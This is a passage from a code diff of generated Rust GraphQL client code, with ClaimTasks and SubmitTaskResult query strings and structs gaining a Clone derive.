description,\n paramDefs,\n eldritch,\n files {\n id,\n name,\n size,\n hash,\n }\n },\n bundle {\n id,\n name,\n size,\n hash,\n }\n }\n }\n}\n\nmutation SubmitTaskResult($input: SubmitTaskResultInput!) {\n submitTaskResult(input: $input) {\n id\n }\n}" ; + pub const QUERY : & str = "mutation ClaimTasks($input: ClaimTasksInput!) {\n claimTasks(input: $input) {\n id,\n job {\n id,\n name,\n parameters,\n tome {\n id,\n name,\n description,\n paramDefs,\n eldritch,\n files {\n id,\n name,\n size,\n hash,\n }\n },\n bundle {\n id,\n name,\n size,\n hash,\n }\n }\n }\n}\n\nmutation SubmitTaskResult($input: SubmitTaskResultInput!) {\n submitTaskResult(input: $input) {\n id\n }\n}" ; use super::*; use serde::{Deserialize, Serialize}; #[allow(dead_code)] @@ -139,7 +140,7 @@ pub mod submit_task_result { #[allow(dead_code)] type ID = String; type Time = crate::scalars::Time; - #[derive(Serialize)] + #[derive(Serialize, Clone)] pub struct SubmitTaskResultInput { #[serde(rename = "taskID")] pub task_id: ID, @@ -150,17 +151,17 @@ pub mod submit_task_result { pub output: String, pub error: Option, } - #[derive(Serialize)] + #[derive(Serialize, Clone)] pub struct Variables { pub input: SubmitTaskResultInput, } impl Variables {} - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct ResponseData { #[serde(rename = "submitTaskResult")] pub submit_task_result: Option, } - #[derive(Deserialize, Serialize)] + #[derive(Deserialize, Serialize, Clone)] pub struct SubmitTaskResultSubmitTaskResult { pub id: ID, }